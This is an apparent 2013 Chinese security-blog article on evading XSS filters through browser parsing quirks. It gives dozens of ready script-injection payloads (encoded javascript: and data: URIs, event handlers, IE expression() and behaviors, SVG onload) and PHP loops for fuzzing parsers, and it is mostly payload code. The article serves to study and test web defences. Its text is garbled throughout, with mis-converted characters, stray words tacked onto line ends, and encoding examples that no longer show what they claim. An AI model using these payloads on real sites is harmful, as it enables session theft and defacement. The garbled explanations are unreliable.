瞌睡龙 · 2013/06/19 18:55javascript
1 &符号不该该出如今HTML的大部分节点中。
2 尖括号<>是不该该出如今标签内的,除非为引号引用。
3 在text节点里面,<左尖括号有很大的危害。
4 引号在标签内可能有危害,具体危害取决于存在的位置,可是在text节点是没有危害的。
复制代码
在任何HTML文档中,最开始的<!DOCTYPE>
用来指示浏览器须要解析的方式,一样也可以使用Content-Type
头来告诉浏览器。php
通常状况下,浏览器中的解析器会尝试恢复大多数类型的语法错误,包括开始和结束标记。css
在XML中,是很是严格的,全部标签必须有对应的开始关闭,也能够有自动关闭如<img/>也是容许的。html
在IE浏览器中容许在1中插入NUL字符(0x00),能够绕过很是多的xss过滤器。html5
以下php代码可把NUL字符插入标签内作测试:java
2和4中的空格也能够由tab(0x0B)与换页键(0x0C),2处也能够用/来代替。react
5中的"在IE中也可替换成`。git
IE当中还有一个特性是当遇到=后面紧跟一个引号的时候会有奇怪的解析。github
<img src=test.jpg?value=">Yes, we are still inside a tag!">
<comment><img src="<comment><img src=x onerror=alert(1)//">
复制代码
HTML解析器在创建文档树的时候会针对节点内的Entity编码解码后传输。正则表达式
如下两个表示相同:
<img src="http://www.example.com">
<img src="http://www.example.com">
复制代码
下面两个例子代码不会执行,由于,编码的是标签自己的结构而非节点内的内容:
<img src="http://www.example.com">
<img src="http://www.example.com">
复制代码
对一个普通的HTML进行Fuzzing测试:
<a href="http://www.google.com/">Click me</a>
复制代码
看一下能够Fuzzing的位置
位置 | 代码 | 可能插入或替代的代码 |
---|---|---|
<的右边 | <[here]a href="... |
控制符,空白符,非打印字符 |
a标签的后门 | <a[here]href="... |
同上 |
href属性中间 | <a hr[here]ef="... |
同上+空字节 |
=两边 | <a href[here]=[here]"... |
全部字符 |
替换= | <a href[here]"... |
Union编码符号 |
替换" | <a href=[here]…[here]> |
其余引号 |
>以前 | <a href="…"[here]> |
任意字符 |
/以前 | <a href="…">...<[here]/a> |
空白符,控制符 |
/以后 | <a href="…">...</[here]a> |
空白符,控制符 |
>闭合以前 | <a href="…">…</a[here]> |
全部字符 |
可使用php代码进行快速测试,例如咱们对第一个位置(<的右边)进行Fuzzing:
<?php
for($i = 0; $i <= 255; $i++) {
$character = chr($i);
# <右边进行测试
echo '<div><'.$character.'a href="http://www.google.com/">'.$i.'</a></div>'; }
?>
复制代码
上面的代码只测试了256个字符,若是想要测试Unicode的全部字符,则须要建立65536个连接。
php默认字符是ISO-8859-1做为默认的字符编码,而这种编码只有256个字符,因此单纯的循环65536遍是没用的。
因此采用Entity编码方式循环,解码后输出:
<?php
for($i = 0; $i <= 65535; $i++) {
$character = html_entity_decode('&#'.$i.';', ENT_QUOTES, 'UTF-8')
# <右边进行测试
echo '<div><'.$character.'a href="http://www.google.com/">'.$i.'</a></div>';
}?>
复制代码
有一个有趣的现象是几乎全部浏览器对$#33;
即!
,浏览器会<!
当成注释的开始,而后自动补齐剩下的代码,浏览器解析后的代码:
<div><!--a href="http://www.google.com/"-->33</div>
复制代码
<LԱ onclick=alert(1)>click me</LԱ>
复制代码
上面的代码,在Chrom、Firefox和Safari中点击,能够顺利弹出1。
讨论一下空字符的问题,IE浏览器会自动忽略空字符,并解析剩下的代码,这样会绕过不少采用正则匹配黑名单字符串的过滤器。
而且,不少函数和库并无意识到这个问题:
<?php
echo '<im'.chr(0).'g sr'.chr(0).'c=x onerror=ale'.chr(0).'rt(1)>';
?>
复制代码
用IE8打开上述代码的网页,查看源代码只能看到"<im"后面的字符都隐藏了。
还有两种方式能够对标签名Fuzzing,第一种是涉及字符集的问题,第二种是针对php中在过滤以前使用了utf8_decode()函数。
<?php
header('Content-Type: text/html;charset=Shift_JIS');
for($i = 1; $i <= 255; $i++) {
$character = html_entity_decode('&#'.$i.';', ENT_QUOTES, 'UTF-8');
$character = utf8_decode($character);
echo $character.'123456 '.$i."<br>\r\n";
} ?>
复制代码
代码很简单,设置返回响应字符集为Shift_JIS,而后把utf-8转换为Shift_JIS字符集。
能够看到在IE中129-159和224-252中,123456中的1消失了,与前面的字符合并成一个字符了。
标签后面也可加入/符号作间隔:
<img/src=x onerror=alert(1)>
复制代码
尝试在标签与/之间再插入其余字符来测试,因为空字符没法直观显示,因此用\0来表示null,一样主流浏览器均可以执行:
<img\0/src=x onerror=alert(1)>
复制代码
再尝试ASCII码以外的字符,这种字符在正则表达式中\w是没法匹配到的,主流浏览器均可以执行:
<img/ \/\µ src=x onerror=alert(1)//>
复制代码
测试发现,标签名与属性名直接只要是以/开头以/或"结尾,中间几乎能够插入任意字符。
在Fuzzing属性方面,考虑两方面,一个是可使用什么分隔符,一个是属性值能够采用什么编码。
分隔符有不少种,单引号,双引号,无任何引号,反撇号(IE中)。
<?php
for($i = 1; $i <= 255; $i++) {
$character = chr($i);
echo '<div><font size='. $character. '20'. $character. '>'.$i.' </font></div>';
} ?>
复制代码
上面代码能够直观的看出当前浏览器支持的分隔符有哪些字符。
上面代码size属性若是输入的是字符的话,会顺利执行,因此当$character中循环到数字的时候也会顺利解析,但这并不是是把数字当成了分割符:
<?php
for($i = 20; $i <= 255; $i++) {
$character = html_entity_decode('&#'.$i.';', ENT_QUOTES, 'UTF-8');
echo '<div><img title="'.$i.'" src='.$character. 'http://www.google.com/intl/en_ALL/images/logo.gif'. $character. '></div>';
} ?>
复制代码
以上代码能够看出,属性为字符串的时候,能够做为分隔符的字符。
为了表示那些不可打印的字符,就用\x十六进制
来表示:
<img src=\x17\x17 onerror=alert(1)//>
复制代码
以上代码\x17即表示不可打印字符chr(23),浏览器提交的时候能够输入%3Cimg%20src%3D%17%17%20onerror%3Dalert%281%29%2f%2f%3E。
在src中能够正常工做的分隔字符,在处理事件的属性里不必定会工做,例如onerror。
可是仍然有一些字符能够达到咱们的目的,ASCII表中的133和160已经IE中的空字符,甚至是分号。
<img/\%20src=%17y%17 onerror=%C2%A0alert(1)//>
复制代码
以上代码urldecode以后在chrome中能够顺利执行。
下面讨论多个标签的问题,好比用户可控的数据插入到了<input>
标签中,同时过滤了<>
只能插入标签内数据:
<input value="" type=image src=1 onerror=alert(1)//" type="hidden" name="foo" />
复制代码
绿色部分是咱们插入的数据,又插入了一个type属性,可是浏览器执行了alert(),浏览器实际上会执行第一个属性,后面的会忽略掉。
在IE中还有一个lowsrc的属性,跟src相似,本来是为了方便调用一个缩略图的,可是在IE6和IE7中,同时也支持伪协议javascript:,还有一个dynsrc属性也相似:
<img lowsrc=1 onerror=alert(1)> // 全部IE都支持
<img lowsrc=javascript:alert(2)> //IE6和IE7支持
<img src="http://www.google.de/intl/de_de/images/logo.gif" dynsrc="javascript:alert(3)" /> // 只有IE6支持
复制代码
sytle属性中还能够定义很是多的参数:
<span style="color:red" style="color:green;background:yellow"> foobar</span>
复制代码
上面代码能够看到,浏览器显示的字体为红色,背景为黄色,除了定义颜色以外也能够用expression()执行js,后面会讨论。
还有一个属性是专门用来在一个标签中插入多个的:xmlns,XML的命名空间属性,这个后面会在XML中讨论。
还有一处可Fuzzing的点即为标签的关闭,一个有趣的现象是浏览器把<br/>
与</br>
,<p/>
与</p>
成彻底同样。
<b > foobar</b style="x:expression(alert(1))"> // 不会执行alert
<b > foo</b > bar</b style="x:expression(alert(2))"> // IE执行了alert
<script src="http://0x.lv"></b> // 不会执行
复制代码
能够执行的代码为没有开始标签的一个闭合标签,IE8中,sytle属性能够插在一个闭合标签内,并顺利执行。
可混淆的另外一个方法是:可替换为=,下面例子在IE8中可执行:
<//style=x:expression(if(!window.x){window.x=1;alert(1);})>
<//style='x=expr\65 ssion(if(!window.x){window.x=1;alert(1);})'>
</a/style='x= \a expr\65 ss/*\*/ion(if(!window.x){window.x=1;alert(1);})'>
复制代码
HTML代码中执行js的各类方式,用如下方式定义的时候,VBscript和JavaScript均可以执行。
<script language=vbs>
alert+1'VBScript
alert(2)// JavaScript
</script>
复制代码
也有利用标签中的属性来执行js,例如:onclick,onload,onerror等等。
在iframe标签中,不须要src属性就能够顺利执行onload属性,而img标签不能够。
这是由于在iframe中没有src属性的时候,浏览器会自动加载about:blank页面,即空白页。
附件tag.php能够方便的看到当前浏览器针对各标签在不须要用户交互的状况下,能够自动执行的全部属性。
从输出结果能够看到body标签支持很是多的属性能够在与用户没有交互的状况下执行js。
例如load,error事件,全部的mouse和keyboard事件,以及在用户离开时的blur事件,还有unload和beforeunload,以及你们不多知道的pageshow属性。
一样标签中也有不多遇到的marquee标签:
<marquee onscroll=alert(1)>
复制代码
在Chrome中,html标签也能够执行很是多的属性,,同源frameset标签也接受focus和blur事件。
一个颇有趣的例子是,让scroll事件能够无交互触发,咱们能够引入一个锚点,例如:
<a name="bottom">
或者经过id属性<div id="bottom">
那咱们能够访问http://test.com/test.html#bottom来访问,浏览器自动滚到该锚点,触发scroll属性。
<body onscroll="alert(1)">
<div style="height:10000px">some text</div>
<a name="bottom"></a>
</body>
复制代码
1.html为以上代码,访问1.html#bottom会自动触发onscroll事件。
IE中hr标签中的onresize属性,在当前窗口大小变化时,会触发resize事件,执行alert(1)。
<hr onresize=alert(1)>
复制代码
还有很是多的组合能够在IE中使用,很难所有列出来,只列举出几个不多见的例子:
<bgsound onpropertychange=alert(1)>
<body onpropertychange=alert(2)>
<body onmove=alert(3)>
<body onfocusin=alert(4)>
<body onbeforeactivate=alert(5)>
<body onactivate=alert(6)>
<embed onmove=alert(7)>
<object onerror=alert(8)>
<style onreadystatechange=alert(9) >
<xml onreadystatechange=alert(10) >
<xml onpropertychange=alert(11) >
<table><td background=javascript:alert(12) >
复制代码
除了以上on的各类属性以外,src和href属性因为支持javascript和vbscript(只支持IE)伪协议,因此也是能够执行javascript代码:
<a href="javascript:alert(1)">click me</a>
<a href="vbscript:alert(2)">click me</a>
复制代码
代码执行时必须使用(),不可使用vbscript中的alert+2,当点击以后,会弹出一个写在当前页面DOM中的数字2的警告框。
javascript:和vbscript:协议执行后的结果将会映射在DOM后面。
<a href="javascript:'\x3cimg src\x3dx onerror=alert(document.domain)>'">click me</a>
复制代码
以上代码在IE和Firefox中点击click me以后可执行,而且能够看到弹出的domain为a标签中所在的domain。
以上代码须要用户交互,下面看个不须要用户交互的例子,使用object标签和data:标签:
<object data="javascript:alert(1)">
<object data="data:text/html,<script>alert(2)</script > ">
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgzKTwvc2NyaXB0Pg">
复制代码
以上三个在Firefox中可执行,第二个可在Opera中执行,把各标签中各属性支持javascript的总结了一些:
<iframe src="javascript:alert(1)"> // 火狐,Chrome, IE8
<embed src="javascript:alert(2)"> // 火狐
<img src="javascript:alert(4)"> // IE6
<image src="javascript:alert(5)"> // IE6
<body background="javascript:alert(5)"> // IE6
<script src="javascript:alert(6)"> // IE6
<table background="javascript:alert(7)"> // IE6
<isindex type="image" src="javascript:alert(8)"> // IE6-7
复制代码
以及applet标签中code和archive属性能够用来调用jar文件,执行java代码。
<applet code="XSS" archive="http://someserver.com/xss.jar"></applet>
复制代码
Javascript能够经过DOM直接获取当前页面中对应的id和name属性的对象:
<html>
<body>
<div id="test"></div>
<script>alert(test)</script>
</body>
</html>
复制代码
上面代码能够看出Javascript中并没定义test变量,可是获取到了页面中id为test的对象。
反过来,咱们能够在外部直接控制Javascript变量,而且在一些浏览器中能够重写Javascript中已有的变量。
<html>
<body>
<form id="location" href="bar">
<script>alert(location.href)</script>
</body>
</html>
复制代码
以上代码在IE中能够看到弹出的bar,而不是当前页面的url,成功覆盖了本来的变量。
还有一种利用meta标签来执行Javascript:
<meta http-equiv="refresh" content="0; url=javascript:alert(document.domain)">
复制代码
上面代码能够在Chrome,Opera,IE6中可执行javascript代码,而且弹出的时meta标签所在的域。
若是禁止了javascript:协议,也可以使用data:协议,不过可以顺利执行javascript而且继承meta标签域的测试到的只有Opera。
<meta http-equiv="refresh" content="0; url=data:text/html,<script>alert(document.domain)</script>">
复制代码
IE中为了兼容各个版本,因此有一个条件注释的语法,这个语法其余浏览器并不支持,会自动当成html注释。
<!--[if IE 8]>
<p>Welcome to Internet Explorer 8.</p>
<![endif]-->
复制代码
如上文字只有在IE8中才会显示,条件注释对于开发是一件很好的事情,能够方便的判断浏览器版本获取兼容代码展示给用户。
<!--[if gte IE 7]><p>You are using IE 7 or greater.</p><![endif]-->
<!--[if (IE 5)]><p>You are using IE 5 (any version).</p><![endif]-->
<!--[if (gte IE 5.5)&(lt IE 7)]><p>You are using IE 5.5 or IE 6.</p><![endif]-->
<!--[if lt IE 5.5]><p>Please upgrade your version of Internet Explorer.</p><![endif]-->
<!--[if lt Contoso 2]>
<p>Your version of the Contoso control is out of date; please update to the latest.</p>
<![endif]-->
<![if IE 8.0] >
<script > alert(1)</script > //只在IE8下执行
<![endif] >
<![if IE 8.0000000000000000]]] >
<script > alert(2)</script > // IE8一样执行
<![endif] >
<![if IE 8.0000000000000000?] >
<script > alert(3)</script > // 全部的IE都执行
<![endif] >
复制代码
同时IE还支持另一种方法来执行条件语句,就是经过
<comment><img src=x onerror=alert(3)><comment>
<comment onclick=alert(1)>XXX--> //Opera不执行
复制代码
IE的JS引擎里一样也有条件注释的语法:
<script> [email protected]_on!alert(1) [email protected]_on~alert(2)@*/ </script> 复制代码
前面提到过标签属性中的URI能够作entity编码,同时,javascript:后面也能够作url编码,下面代码在全部浏览器中均可以成功执行。
<a href="javascript:%61lert(1)">click me</a>
复制代码
同时后面的url编码能够再作一次entity编码:
<a href="javascript:%61lert(1)">click me</a>
复制代码
因为entity编码容许&#以后插入任意多个0,再利用上javascript的注释混淆后:
<a href="javascript: //%0a %61lert(1)">click me</a>
复制代码
base标签订义当前页面连接默认地址或默认目标,下面代码在opera中可执行:
<base href="javascript:alert(1)"/>
<a href="#">click me</a>
复制代码
javascript也能够换行分割(在IE与chrome中可执行alert):
<a href="jav
ascript: //%0a %61lert(1)">click me</a>
复制代码
换行字符同时也可使用entity编码:
<a href="java
script://%0a%61lert(1)"> click me</a>
<?php
for($i = 0; $i<=65535; $i++) {
$chr = html_entity_decode('&#'.$i.';', ENT_QUOTES, 'UTF-8'0);
echo '<iframe src="java'.$chr.'script:alert('.$i.')"></iframe> <br/>';
} ?>
复制代码
上面代码可测出当前浏览器中,javascript字符串插入哪些字符仍然能够执行alert。
<a href="data:text/html;charset=utf-8;base64, PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+Og=="> click</a>
复制代码
上面代码在Firefox和Opera中能够弹出当前域,Chrome与Safari能够弹,可是继承不到a标签所在的域,弹出为空,IE不能执行。
Firefox中data:协议默认MIME类型为text/html,即便你定义了一个他根本不知道的类型,他也会把它看成text/html类型:
<iframe src="data:µ,<script>alert(1)</script>"> </iframe>
<iframe src="data:&#ffff;,<script>alert(2)</script>"></iframe>
复制代码
利用以前总结的结论,最终能够写出下面可以让Firefox执行的代码:
<iframe/
\/src="data:µ,%3cscript%3ealert(document.dom%61in+[])%3c/script%3e"> </iframe>
复制代码
而且火狐中会忽略data:协议中的全部空白字符:
<iframe src="data:., %
3
cscri pt%
3 e alert(1)
%3c /s C RIP t>">
复制代码
最终能够混淆成这样:
<iframe src="data:. , % 3
c s cri 
 pt %
3 e al\u0065rt(1)
%3c /s C RI 	 P t>"
data:%,<b> < s 
 c r i p t>alert(1) < /s 
 c r i p t>
复制代码
以前提到的标签,在IE中data:协议都不能执行javascript,可是在style标签里,[email protected]:执行javascript:
<style>
@import "data:,*%7bx:expression(write(1))%7D";
</style>
<style>
@imp\ ort"data:,*%7b- = \a %65x\pr\65 ssion(write(2))%7d"; </style>
<style>
<link rel="Stylesheet" href="data:,*%7bx:expression(write(3))%7d">
复制代码
下面讨论一下事件即onload、onerror等事件以后的混淆方法:
<body onload="alert

/*�*/(document. dom\u0061in)//">
复制代码
采用了entity编码,最后一处是先使用javascript的unicode编码,而后再entity编码。
因为是直接处理DOM的方法和对象,与直接在script标签内处理字符串的环境仍是不一样,可是咱们能够加注释或者换行符。
<body onload="alert

//
/*�*/(document. dom\u0061in)//">
复制代码
当使用location重定向到javascript:伪协议url的时候,又能够多作一重编码了:
<body/:a/onload="location='javAscript:'
+([]+
'\141\l\u0065rt\r\(/**/docum%65nt.dom\x2561in)'
)">
复制代码
事件同时又能够直接调用其余属性:
<img src="x" onload="alert(1)" onerror="this.onload()">
<img/src="*/(1)"title="alert/*"onerror="eval(title+src)">
复制代码
style属性的混淆,一个没有任何混淆的简单例子:
<input type="text" value="" style=display:block;position:absolute;top:0;left:0;width:999em; height:999em onmouseover=alert(1) a="" name="foo" />
复制代码
利用以前总结的在属性里的混淆方法:
<l1!/style="-:\65 \x/**/\p\r\000065 /**/ssio\n(write /**/(dom\u0061in))">
复制代码
在expression中,咱们能够直接访问document中的write方法和domain属性,这代表咱们当前位于document的DOM范围内。
<l1!/style="-:\65 \x/**/\p\r\000065 /**/ssio\n(location='javAscript:'+([]+'document.write\r\(/**/1)'))">
复制代码
转到javascript的URL时,已不在document当中,访问write方法时须要使用document.write。
看到有\xx和\xxxxxx的Unicode编码,这些都是CSS编码,与JavaScript编码很是类似。
下面两个URL中列举了一些浏览器对各类奇怪的css语法支持状况:
imfo.ru/csstest/css… centricle.com/ref/css/fil…
在IE中,css的解析很是的宽泛:
<style>
/*\*/*{x:expression(write(1))/*
</style>
<style>
_{content:"\"/*" x}
*{0:expression(write(2))
</style>
<a style=<!---/**/=expression(write(3))/*-- > X</a >
复制代码
从IE5.5到IE8中,除了expression能够用来执行JavaScript以外,也能够经过HTML+TIME的形式。
这种方式惟一的缺点就是也须要一个事件来执行JavaScript,即onbegin或者onend:
1<l style="behavior:url(#default#time2)"onbegin="alert(1)">
复制代码
还有一种方式利用set标签:
1<set/xmlns="urn:schemas-microsoft-com:time" style="behAvior:url(#default#time2)" attributename="innerhtml" to="<img/src="x"onerror=alert(1)>">
复制代码
测试一下style属性中在哪些浏览器中,能够插入哪些字符:
<?php
for($i = 0; $i<=65535; $i++) {
$chr = html_entity_decode('&#'.$i.';', ENT_QUOTES, 'UTF-8');
echo '<a style="color='.$chr.'red">'.dechex($i).'['.$chr.']</a>';
} ?>
复制代码
从测试结果能够得出,下面的代码能够在IE中执行:
<div style=xss : expression(write(1))>
复制代码
在一些老版本的IE中,如IE6和IE7,还能够经过背景相关属性调用javascript的URL来执行javascript代码:
<b style="background:url(javascript:alert('background'))">xxx</b>
<b style="background-image:url(javascript:alert('background'))"> xxx</b>
<b style="list-style:url(javascript:alert('background'))">xxx</b>
<b style="list-style-image:url(javascript:alert('background'))"> xxx</b>
复制代码
经过link标签(在IE6下适用,同时javascript能够换成vbscript):
<link rel="stylesheet" href="javascript:alert(1)">
<link rel="stylesheet" href="vb	script:%61lert(document.domain)">
复制代码
style标签中能够经过导入url的方式执行javascript:
<style>
@imp\o\ rt url('javascript:%61lert(2)');
</style>
复制代码
HTML5中增长了不少标签跟属性,列举一些可执行JavaScript的方法:
<form><input><output onforminput="alert(1)"> //Opera支持
复制代码
onfocus与autofocus的配合:
<input onfocus=write(domain) autofocus>
<keygen onfocus=write(domain) autofocus>
<textarea onfocus=write(domain) autofocus>
<body onfocus=write(domain) autofocus>
<frameset onfocus=write(domain) autofocus>
<button onfocus=write(domain) autofocus>
<input autofocus onblur=write(domain)><input autofocus> //Chrome中无交互执行
<iframe/src=javascript:alert(1)>
<video/poster=javascript:alert(2)>
<button form="test" formaction="javascript:alert(3)">
复制代码
更多的html5攻击方式请见:html5sec.org/
XML内容比较少,就一块儿写到HTML里了,XML支持Unicode,因此Unicode里的全部字符均可以用来作标签或者属性,同时有可能绕过<\w+匹配:
<啊 onclick="alert(1)" xmlns="http://www.w3.org/1999/xhtml">XXX</啊>
复制代码
XML相比HTML最严格的就是有了开始的标签,必需要有结束标签匹配,不然会报错。
可是在大多数浏览器中彷佛并不会影响页面中javascript的解析(IE中不执行):
<html xmlns="http://www.w3.org/1999/xhtml">
<script>
alert(1); // works
</script>
<p>
<script>
alert(2); // works too
</script>
</html>
复制代码
甚至能够经过JavaScript修改错误页面的内容(在Firefox中可执行):
<html xmlns="http://www.w3.org/1999/xhtml">
<p>
<script>
setTimeout(function(){ document.activeElement.textContent='hello world' },1);
</script>
</html>
复制代码
XML的编码规范与HTML很是类似,能够用entity编码属性值。 在XML中,咱们能够在DOCTYPE中自定义entity,甚至经过URL引入外部文件:
<!DOCTYPE xss [<!ENTITY x "al&y;"><!ENTITY y "ert">]>
<html xmlns="http://www.w3.org/1999/xhtml">
<script>&x;(document.domain);</script>
</html>
复制代码
上面代码定义了一个&y变量为"ert",&x为"al&y"(a与&符号编码了一下),即alert,
<!DOCTYPE xss [<!ENTITY _k "al&__;"><!ENTITY __ "ert" > ]>
<script xmlns="http://www.w3.org/1999/xhtml">
<!-- &_k;(1)
</script>
复制代码
在xml中,包括script标签内的代码浏览器都会entity解码后执行,这点颇有用:
<script xmlns="http://www.w3.org/1999/xhtml">
a='',alert(1)//';
b='',alert(2)//';
c='',alert(3)//';
</script>
复制代码
从5.5版本开始,Internet Explorer(IE)开始支持Web 行为的概念。
这些行为是由后缀名为.htc的脚本文件描述的,它们定义了一套方法和属性,几乎能够把这些方法和属性应用到HTML页面上的任何元素上去。
HTML中能够经过加载CSS的behavior的方式调用htc文件,仅支持同域调用:
//HTML文件代码:
<html>
<head>
<style>body { behavior: url(test.htc);}</style> </head>
<body>Hello</body>
</html>
//htc文件代码:
<PUBLIC:COMPONENT>
<PUBLIC:ATTACH EVENT="onclick" ONEVENT="alert(1)" />
</PUBLIC:COMPONENT>
复制代码
一样HTML调用XML文件执行javascript:
<html>
<body>
<xml id="xss" src="test.xml"></xml>
<label dataformatas=html datasrc=#xss datafld=payload></label> </body>
</html>
<?xml version="1.0"?>
<x>
<payload>
<![CDATA[<img src=x onerror=alert(domain)>]]> </payload>
</x>
复制代码
dataformatas定义了获取到的数据以什么格式解析(HTML或text),datasrc指绑定的id,datafld指使用哪一段数据。
svg调用javascript(新版本的几个浏览器支持):
<svg xmlns="http://www.w3.org/2000/svg">
<g onload="alert(1)"></g>
</svg>
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(2)"></svg>
复制代码